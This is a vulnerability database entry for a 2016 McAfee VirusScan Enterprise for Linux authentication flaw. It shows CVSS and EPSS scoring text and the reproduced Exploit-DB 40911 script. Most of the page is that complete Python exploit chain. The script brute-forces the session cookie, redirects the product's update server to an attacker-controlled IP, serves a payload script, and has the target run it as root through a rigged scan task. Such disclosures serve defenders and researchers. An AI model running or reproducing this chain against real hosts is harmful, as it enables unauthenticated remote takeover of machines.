Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-287 |
Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.0 |
8.1 |
HIGH |
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
| V2 |
6.8 |
|
AV:N/AC:M/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 40911
Publication date : 2016-12-12 23h00 +00:00
Author : Andrew Fasano
EDB Verified : Yes
'''
Source: https://nation.state.actor/mcafee.html
Vulnerabilities
CVE-2016-8016: Remote Unauthenticated File Existence Test
CVE-2016-8017: Remote Unauthenticated File Read (with Constraints)
CVE-2016-8018: No Cross-Site Request Forgery Tokens
CVE-2016-8019: Cross Site Scripting
CVE-2016-8020: Authenticated Remote Code Execution & Privilege Escalation
CVE-2016-8021: Web Interface Allows Arbitrary File Write to Known Location
CVE-2016-8022: Remote Use of Authentication Tokens
CVE-2016-8023: Brute Force Authentication Tokens
CVE-2016-8024: HTTP Response Splitting
CVE-2016-8025: Authenticated SQL Injection
When chaned together, these vulnerabilities allow a remote attacker to execute code as root.
'''
#!/bin/python3
import time
import requests
import os
import sys
import re
import threading
import subprocess
from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import ThreadingMixIn
# Per-target configuration
target_domain="https://10.0.1.130" # https://target_ip
local_ip = '10.0.1.128' # Attacker IP for victim to connect back to
authorized_ip="127.0.0.1" # IP address cookie will be valid for
update_server_port = 8080 # Port update server listens on
delay_seconds = 10 # How long should the server take to serve the update
target_port = 55443 # Port to target
# Put payload script in payload.sh
# Initialization
payload_in_place = threading.Event()
requests.packages.urllib3.disable_warnings()
with open("payload.sh", "r") as f:
payload = f.read()
def pprint(inp, flag=False):
pad = "#"
if flag:
pad = "*"
print("\n" + pad+ " " + inp)
def crack_cookie():
pprint("Cracking Cookie")
# A page that requires authentication
url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&tplt=productUpdate.html"
# Start at the current time + 100 in case of recent login with clock skew
date_val = int(time.time()+100)
cookie_fmt = authorized_ip+"/n/0/%d-checksum// "+authorized_ip + " "*20
# Make requests, print after every 600
while True:
cookie = cookie_fmt % date_val
req_cookie = {"nailsSessionId": cookie}
r = requests.get(url, cookies=req_cookie, verify=False)
r.raise_for_status()
if "Set-Cookie" in r.headers:
valid_cookie = cookie
timestamp = cookie.split("/")[3].split("-")[0]
break
elif date_val % 600 == 0:
print("Now trying %s" % time.asctime(time.localtime(date_val)))
date_val -= 1
pprint("Cookie Cracked: " + timestamp, True)
return valid_cookie
def update_update_server(auth_cookie):
pprint("Updating update server")
# Replace McAfeeHttp update server with attacker local_ip:update_server_port
url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&addr=127.0.0.1%3A65443&tplt=" \
"repository.html&sitelist=add&mon%3A0=db+set+1+_table%3Drepository+status%3D1+siteList%3D%253C%253F" \
"xml%2520version%253D%25221.0%2522%2520encoding%253D%2522UTF-8%2522%253F%253E%250A%253Cns%253ASiteLists" \
"%2520xmlns%253Ans%253D%2522naSiteList%2522%2520GlobalVersion%253D%2522PATTeELCQSEhZwxKf4PoXNSY4%2Fg%25" \
"3D%2522%2520LocalVersion%253D%2522Wed%252C%252030%2520Dec%25202009%252011%253A20%253A59%2520UTC%2522%2" \
"520Type%253D%2522Client%2522%253E%253CPolicies%2F%253E%253CSiteList%2520Default%253D%25221%2522%2520Na" \
"me%253D%2522SomeGUID%2522%253E%253CHttpSite%2520Type%253D%2522repository%2522%2520Name%253D%2522McAfee" \
"Http%2522%2520Order%253D%25221%2522%2520Server%253D%2522"+local_ip+"%253A"+str(update_server_port) \
+ "%2522%2520Enabled%253D%25221%2522%2520Local%253D%25221%2522%253E%253CRelativePath%2F%253E%253CUseAuth%" \
"253E0%253C%2FUseAuth%253E%253CUserName%253E%253C%2FUserName%253E%253CPassword%2520Encrypted%253D%25220" \
"%2522%2F%253E%253C%2FHttpSite%253E%253CFTPSite%2520Type%253D%2522fallback%2522%2520Name%253D%2522McAfe" \
"eFtp%2522%2520Order%253D%25222%2522%2520Server%253D%2522ftp.nai.com%253A21%2522%2520Enabled%253D%25221" \
"%2522%2520Local%253D%25221%2522%253E%253CRelativePath%253ECommonUpdater%253C%2FRelativePath%253E%253CU" \
"seAuth%253E1%253C%2FUseAuth%253E%253CUserName%253Eanonymous%253C%2FUserName%253E%253CPassword%2520Encr" \
"ypted%253D%25221%2522%253ECommonUpdater%40McAfeeB2B.com%253C%2FPassword%253E%253C%2FFTPSite%253E%253C%" \
"2FSiteList%253E%253C%2Fns%253ASiteLists%253E+_cmd%3Dupdate+&mon%3A1=task+setsitelist&mon%3A2=db+select" \
"+_show%3DsiteList+_show%3Dstatus+_table%3Drepository&info%3A2=multi%2Cshow&reposProperty=repository&re" \
"posProperty=fallback&useOfProxy=on"
r = requests.get(url, cookies=auth_cookie, verify=False)
r.raise_for_status()
pprint("Updated update server", True)
def download_update(req_cookie):
pprint("Requesting target download payload")
# Send request to make target download payload
url = target_domain + ":" + str(target_port) + "/0409/nails"
updateName = "update_%d" % int(time.time())
postdata = ("pg=proxy&addr=127.0.0.1%3A65443&tplt=scheduledTasks.html&scheduleOp=add&mon%3A0=db+set+1+_tab" \
"le%3Dschedule++taskName%3D{0}+taskType%3DUpdate+taskInfo%3DtoUpdate%3Ddat%253Bengine+timetable%3Dtype%" \
"3Dunscheduled+status%3DIdle++i_recurrenceCounter%3D0+&mon%3A1=task+nstart+{0}&mon%3A2=db+select+_asc%3D" \
"taskName+_table%3Dschedule+_show%3Di_taskId+_show%3DtaskName+_show%3DtaskResults+_show%3Dtimetable+_sh" \
"ow%3DtaskType+_show%3DtaskInfo+_show%3Di_lastRun+_show%3D%24i_lastRun+_show%3Dstatus+_show%3Dprogress+" \
"_show%3Di_nextRun+_show%3D%24i_nextRun+_show%3Di_duration+_show%3DtaskInfo++_limit%3D50+_offset%3D0&in" \
"fo%3A2=multi%2Cshow&mon%3A3=db+select+_table%3Dschedule+_show%3Dcount%28*%29&info%3A3=multi%2Cshow&loc" \
"%3A4=conf+get+browser.resultsPerPage&info%3A4=multi%2Cshow&mon%3A5=task+updatecrontab&info%3A5=multi%2" \
"Cshow&echo%3A6=1&info%3A6=pageNo&echo%3A7=&info%3A7=selectedTask""").format(updateName)
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r = requests.post(url, data=postdata, cookies=req_cookie, verify=False, headers=headers)
r.raise_for_status()
pprint("Payload download requested", 1)
def exec_catalogz(req_cookie):
pprint("Making target execute payload")
#### Get commit_id and ODS_name
url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&tplt=schedOnDemand.html&addr=127.0" \
".0.1:65443&mon:0=sconf+ODS+select+section%3Dnailsd.profile.ODS&info:0=multi,show,digest&echo:1=ODS&inf" \
"o:1=profileName&mon:2=sconf+ODS+select+section%3Dnailsd.profile.ODS_default&info:2=multi,show&echo:3=O" \
"DS_default&info:3=defaultProfileName&mon:4=sconf+ODS+select+attribute%3Dnailsd.oasEnabled&info:4=multi" \
",show&mon:5=extensions&info:5=multi,show&mon:6=db+select+_show=max(i_taskId)+_table=schedule&info:6=mu" \
"lti,show&mon:7=utco&info:7=single,show,serverUtcOffset&echo:8=generate&info:8=profileNameAction"
r = requests.get(url, cookies=req_cookie, verify=False)
r.raise_for_status()
regex = re.search("\|digest=(.+?)\|", r.text)
if not regex:
print("\nERROR: Could not get commit_id when generating evil scan\n")
return False
commit_id = regex.groups(1)[0]
# Send request to start evil scan
payload_path = "%2Fopt%2FMcAfee%2Fcma%2Fscratch%2Fupdate%2Fcatalog.z"
binary_path = "%2Fbin%2Fsh" # Use "%2fbin%2Fstatic-sh" for versions 1.x
url = target_domain + ":" + str(target_port) + "/0409/nails"
ODS_name = "ODS_1" # This may need to be increased if the name already exists
scan_name = "scan_%s" % str(int(time.time()))
postdata = ("pg=proxy&addr=127.0.0.1%3A65443&tplt=scheduledTasks.html&mon%3A0=sconf+{1}+begin&info%3A0=" \
"multi%2Cshow&mon%3A1=sconf+{1}+delete+{0}+section%3Dnailsd.profile.{1}.filter+section%3Dnailsd.prof" \
"ile.{1}.action&mon%3A2=sconf+{1}+set+{0}+nailsd.profile.{1}.allFiles%3Dtrue+nailsd.profile.{1}.child" \
"InitTmo%3D240+nailsd.profile.{1}.cleanChildren%3D2+nailsd.profile.{1}.cleansPerChild%3D10000+nailsd" \
".profile.{1}.datPath%3D%2Fopt%2FNAI%2FLinuxShield%2Fengine%2Fdat+nailsd.profile.{1}.decompArchive%3" \
"Dtrue+nailsd.profile.{1}.decompExe%3Dtrue+nailsd.profile.{1}.engineLibDir%3D%2Fopt%2FNAI%2FLinuxShi" \
"eld%2Fengine%2Flib+nailsd.profile.{1}.enginePath%3D{3}+nailsd.profile.{1}.factoryI" \
"nitTmo%3D240+nailsd.profile.{1}.heuristicAnalysis%3Dtrue+nailsd.profile.{1}.macroAnalysis%3Dtrue+na" \
"ilsd.profile.{1}.maxQueSize%3D32+nailsd.profile.{1}.mime%3Dtrue+nailsd.profile.{1}.noJokes%3Dfalse+" \
"nailsd.profile.{1}.program%3Dtrue+nailsd.profile.{1}.quarantineChildren%3D1+nailsd.profile.{1}.quar" \
"antineDirectory%3D%2Fquarantine+nailsd.profile.{1}.quarantineFromRemoteFS%3Dfalse+nailsd.profile.{1" \
"}.quarantinesPerChild%3D10000+nailsd.profile.{1}.scanChildren%3D2+nailsd.profile.{1}.scanMaxTmo%3D3" \
"00+nailsd.profile.{1}.scanNWFiles%3Dfalse+nailsd.profile.{1}.scanOnRead%3Dtrue+nailsd.profile.{1}.s" \
"canOnWrite%3Dtrue+nailsd.profile.{1}.scannerPath%3D{4}+nailsd.profile.{1}.scansPerChild" \
"%3D10000+nailsd.profile.{1}.slowScanChildren%3D0+nailsd.profile.{1}.filter.0.type%3Dexclude-path+na" \
"ilsd.profile.{1}.filter.0.path%3D%2Fproc+nailsd.profile.{1}.filter.0.subdir%3Dtrue+nailsd.profile.{" \
"1}.filter.1.type%3Dexclude-path+nailsd.profile.{1}.filter.1.path%3D%2Fquarantine+nailsd.profile.{1}" \
".filter.1.subdir%3Dtrue+nailsd.profile.{1}.filter.extensions.mode%3Dall+nailsd.profile.{1}.filter.e" \
"xtensions.type%3Dextension+nailsd.profile.{1}.action.Default.primary%3DClean+nailsd.profile.{1}.act" \
"ion.Default.secondary%3DQuarantine+nailsd.profile.{1}.action.App.primary%3DClean+nailsd.profile.{1}" \
".action.App.secondary%3DQuarantine+nailsd.profile.{1}.action.timeout%3DPass+nailsd.profile.{1}.acti" \
"on.error%3DBlock&mon%3A3=sconf+{1}+commit+{0}&mon%3A4=db+set+{0}+_table%3Dschedule++taskName%3D{2}+" \
"taskType%3DOn-Demand+taskInfo%3DprofileName%3D{1}%2Cpaths%3Dpath%3A%2Ftmp%3Bexclude%3Atrue+timetabl" \
"e%3Dtype%3Dunscheduled+progress%3D+status%3DIdle+&mon%3A5=task+nstart+{2}&mon%3A6=db+select+_asc%3D" \
"taskName+_table%3Dschedule+_show%3Di_taskId+_show%3DtaskName+_show%3DtaskResults+_show%3Dtimetable+" \
"_show%3DtaskType+_show%3DtaskInfo+_show%3Di_lastRun+_show%3D%24i_lastRun+_show%3Dstatus+_show%3Dpro" \
"gress+_show%3Di_nextRun+_show%3D%24i_nextRun+_show%3Di_duration+_show%3DtaskInfo++_limit%3D50+_offs" \
"et%3D0&info%3A6=multi%2Cshow&mon%3A7=db+select+_table%3Dschedule+_show%3Dcount%28*%29&info%3A7=mult" \
"i%2Cshow&mon%3A8=sconf+ODS+begin&info%3A8=multi%2Cshow%2Cdigest&mon%3A9=task+updatecrontab&info%3A9" \
"=multi%2Cshow&loc%3A10=conf+get+browser.resultsPerPage&info%3A10=multi%2Cshow&echo%3A11=1&info%3A11" \
"=pageNo&echo%3A12=&info%3A12=selectedTask").format(commit_id, ODS_name, scan_name,payload_path, binary_path)
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r = requests.post(url, data=postdata, cookies=req_cookie, verify=False, headers=headers)
r.raise_for_status()
pprint("Payload executed", 1)
def start_update_server():
class RequestHandler(BaseHTTPRequestHandler):
def do_HEAD(s):
s.send_response(200)
s.send_header("Content-type", "text/html")
s.end_headers()
def do_GET(s):
if s.path == "/catalog.z":
s.send_response(200)
s.send_header("Content-type", "text/html")
s.end_headers()
s.wfile.write(bytes(payload, "utf-8"))
pprint("Payload placed", 1)
payload_in_place.set()
# Die after sending payload so we send an incomplete response
raise KillServer
else: # Assume all other requests are for SiteStat - Always increasing version
s.send_response(200)
s.send_header("Content-type", "text/xml")
s.end_headers()
s.wfile.write(bytes(("""<?xml version="1.0" encoding="UTF-8"?>""" \
"""<SiteStatus Status="Enabled" CatalogVersion="2%d">""" \
""" </SiteStatus>""") % int(time.time()), "utf-8"))
# Throwing KillServer will shutdown the server ungracefully
class KillServer(Exception):
def __str__(self):
return "Kill Server (not an error)"
# ThreadingMixIn plus support for KillServer exceptions
class AbortableThreadingMixIn(ThreadingMixIn):
def process_request_thread(self, request, client_address):
try:
self.finish_request(request, client_address)
self.shutdown_request(request)
except KillServer:
pprint("Killing update server dirtily")
self.shutdown_request(request)
self.shutdown() # Only if we want to shutdown
except:
self.handle_error(request, client_address)
self.shutdown_request(request)
class BackgroundHTTPSrv(AbortableThreadingMixIn, HTTPServer):
pass
pprint("Launching update server")
srv = BackgroundHTTPSrv((local_ip, update_server_port), RequestHandler)
threading.Thread(target=srv.serve_forever).start()
pprint("Update server started", 1)
return srv
####################################################################################
####################################################################################
pprint("Attacking %s" % target_domain, 1)
# Crack the auth cookie
cookie = crack_cookie()
auth_cookie = {"nailsSessionId": cookie}
# Start our update server locally
srv = start_update_server()
# Force target to use our update server
update_update_server(auth_cookie)
# Make target download an update from us
download_update(auth_cookie)
# Block until the target downloads our payload,
payload_in_place.wait()
# Shutdown our update server
srv.shutdown()
# Execute /bin/sh -(?) catalog.z
exec_catalogz(auth_cookie)
Products Mentioned
Configuraton 0
Mcafee>>Virusscan_enterprise >> Version To (including) 2.0.3
References
